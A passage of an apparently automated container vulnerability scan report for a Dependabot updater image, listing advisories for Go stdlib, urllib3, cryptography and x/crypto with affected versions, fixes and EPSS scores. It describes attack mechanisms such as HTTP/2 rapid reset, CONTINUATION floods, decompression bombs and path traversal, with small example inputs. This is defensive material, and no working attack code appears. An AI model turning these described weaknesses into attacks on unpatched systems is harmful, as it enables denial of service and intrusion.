environment variable GODEBUG=multipartmaxheaders=. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.045% EPSS Percentile 14th percentile Description HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service. Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service. With fix, header parsing now correctly allocates only the memory required to hold parsed headers. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.055% EPSS Percentile 17th percentile Description A denial of service is possible from excessive resource consumption in net/http and mime/multipart. Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files. With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous. In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct. Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Large handshake records may cause panics in crypto/tls. Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses. This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert). Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.229% EPSS Percentile 45th percentile Description A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.175% EPSS Percentile 39th percentile Description A path traversal vulnerability exists in filepath.Clean on Windows. On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack. After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b". Affected range <1.18.9 Fixed version 1.18.9 EPSS Score 0.069% EPSS Percentile 21st percentile Description On Windows, restricted files can be accessed via os.DirFS and http.Dir. The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access. In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system. With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error. Affected range <1.18.8 Fixed version 1.18.8 EPSS Score 0.013% EPSS Percentile 2nd percentile Description Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows. In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D". Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service. The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory. After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected. Affected range >=1.18.0-0 <1.18.5 Fixed version 1.18.5 EPSS Score 0.113% EPSS Percentile 30th percentile Description Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.041% EPSS Percentile 12th percentile Description Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.038% EPSS Percentile 11th percentile Description Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion. Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.031% EPSS Percentile 9th percentile Description Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value. After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged. Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.014% EPSS Percentile 2nd percentile Description Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion. Affected range <1.18.6 Fixed version 1.18.6 EPSS Score 0.093% EPSS Percentile 26th percentile Description HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.048% EPSS Percentile 15th percentile Description Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.065% EPSS Percentile 20th percentile Description Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

stdlib 1.24.4 (golang) pkg:golang/stdlib@1.24.4 Affected range <1.24.11 Fixed version 1.24.11 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range <1.24.9 Fixed version 1.24.9 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

urllib3 2.0.7 (pypi) pkg:pypi/urllib3@2.0.7 Improper Handling of Highly Compressed Data (Data Amplification) Affected range >=1.22 <2.6.3 Fixed version 2.6.3 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.018% EPSS Percentile 4th percentile Description Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption. However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409). Affected usages Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects. Remediation Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False. If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source. Improper Handling of Highly Compressed Data (Data Amplification) Affected range >=1.0 <2.6.0 Fixed version 2.6.0 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.026% EPSS Percentile 6th percentile Description Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data. Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources. stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly. Remediation Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount. If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3. Credits The issue was reported by @Cycloctane. Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF. Allocation of Resources Without Limits or Throttling Affected range >=1.24 <2.6.0 Fixed version 2.6.0 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.033% EPSS Percentile 9th percentile Description Impact urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd). However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly. Remediation Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5. If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

cryptography 41.0.7 (pypi) pkg:pypi/cryptography@41.0.7 Observable Discrepancy Affected range <42.0.0 Fixed version 42.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N EPSS Score 0.707% EPSS Percentile 72nd percentile Description A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data. NULL Pointer Dereference Affected range >=38.0.0 <42.0.4 Fixed version 42.0.4 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.341% EPSS Percentile 56th percentile Description If pkcs12.serialize_key_and_certificates is called with both: A certificate whose public key did not match the provided private key An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...) Then a NULL pointer dereference would occur, crashing the Python process. This has been resolved, and now a ValueError is properly raised. Patched in pyca/cryptography#10423

golang.org/x/crypto 0.36.0 (golang) pkg:golang/golang.org/x/crypto@0.36.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.033% EPSS Percentile 9th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

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Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

Base image is ubuntu:24.04

Name	24.04
Digest	sha256:a4453623f2f8319cfff65c43da9be80fe83b1a7ce689579b475867d69495b782
Vulnerabilities
Pushed	1 week ago
Size	30 MB
Packages	131
OS	24.04

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Tag	Details	Pushed	Vulnerabilities
26.04 Major OS version update Also known as: devel resolute resolute-20260106.1	Benefits: Image contains 9 fewer packages Image has similar size Image introduces no new vulnerability but removes 8 Major OS version update Image details: Size: 34 MB OS: 26.04	2 weeks ago
25.10 Major OS version update Also known as: rolling questing questing-20251217	Benefits: Image contains 7 fewer packages Image has similar size Image introduces no new vulnerability but removes 8 Major OS version update Image details: Size: 34 MB OS: 25.10	1 month ago

[github-actions]

🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest

digest	sha256:354d02aa29acf525570c732b6e006ecf138de6d63ca525d552eb4b24880ddc6c
vulnerabilities
platform	linux/amd64
size	341 MB
packages	594

📦 Base Image ubuntu:14a4f85a37e1371d2fcf8345a5325c82048e05f9501bfaa4f58924c2d56f195e

also known as	24.04 latest noble noble-20260113
digest	sha256:a4453623f2f8319cfff65c43da9be80fe83b1a7ce689579b475867d69495b782
vulnerabilities

stdlib 1.18.3 (golang) pkg:golang/stdlib@1.18.3 Affected range <1.21.11 Fixed version 1.21.11 EPSS Score 0.085% EPSS Percentile 25th percentile Description The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.243% EPSS Percentile 47th percentile Description Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.646% EPSS Percentile 70th percentile Description Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected. Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template. As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml. With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21. Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution. Affected range <1.23.8 Fixed version 1.23.8 EPSS Score 0.043% EPSS Percentile 13th percentile Description The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext. Affected range <1.19.10 Fixed version 1.19.10 EPSS Score 0.009% EPSS Percentile 1st percentile Description On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors. If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers. Affected range <1.24.11 Fixed version 1.24.11 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range <1.24.9 Fixed version 1.24.9 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains. Affected range <1.22.7 Fixed version 1.22.7 EPSS Score 0.163% EPSS Percentile 38th percentile Description Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion. Affected range <1.22.7 Fixed version 1.22.7 EPSS Score 0.306% EPSS Percentile 53rd percentile Description Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635. Affected range <1.21.12 Fixed version 1.21.12 EPSS Score 0.618% EPSS Percentile 69th percentile Description The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail. An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail. Affected range <1.21.8 Fixed version 1.21.8 EPSS Score 1.498% EPSS Percentile 81st percentile Description The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers. Affected range <1.21.9 Fixed version 1.21.9 EPSS Score 66.635% EPSS Percentile 98th percentile Description An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames. Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed. This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send. The fix sets a limit on the amount of excess header frames we will process before closing a connection. Affected range <1.20.0 Fixed version 1.20.0 EPSS Score 0.185% EPSS Percentile 40th percentile Description Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits. In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels. Affected range <1.20.11 Fixed version 1.20.11 EPSS Score 0.083% EPSS Percentile 24th percentile Description The filepath package does not recognize paths with a ??\ prefix as special. On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x. Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b. Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b. In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name. UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored. Affected range <1.20.10 Fixed version 1.20.10 EPSS Score 94.466% EPSS Percentile 100th percentile Description A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing. With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection. This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2. The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function. Affected range <1.20.10 Fixed version 1.20.10 EPSS Score 0.150% EPSS Percentile 36th percentile Description A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing. With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection. This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2. The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.013% EPSS Percentile 1st percentile Description Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.066% EPSS Percentile 21st percentile Description Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts. This stems from several causes: mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector. The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations. In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms: Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.045% EPSS Percentile 14th percentile Description HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service. Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service. With fix, header parsing now correctly allocates only the memory required to hold parsed headers. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.055% EPSS Percentile 17th percentile Description A denial of service is possible from excessive resource consumption in net/http and mime/multipart. Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files. With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous. In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct. Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Large handshake records may cause panics in crypto/tls. Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses. This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert). Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.229% EPSS Percentile 45th percentile Description A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.175% EPSS Percentile 39th percentile Description A path traversal vulnerability exists in filepath.Clean on Windows. On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack. After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b". Affected range <1.18.9 Fixed version 1.18.9 EPSS Score 0.069% EPSS Percentile 21st percentile Description On Windows, restricted files can be accessed via os.DirFS and http.Dir. The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access. In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system. With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error. Affected range <1.18.8 Fixed version 1.18.8 EPSS Score 0.013% EPSS Percentile 2nd percentile Description Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows. In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D". Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service. The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory. After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected. Affected range >=1.18.0-0 <1.18.5 Fixed version 1.18.5 EPSS Score 0.113% EPSS Percentile 30th percentile Description Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.041% EPSS Percentile 12th percentile Description Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.038% EPSS Percentile 11th percentile Description Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion. Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.031% EPSS Percentile 9th percentile Description Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by 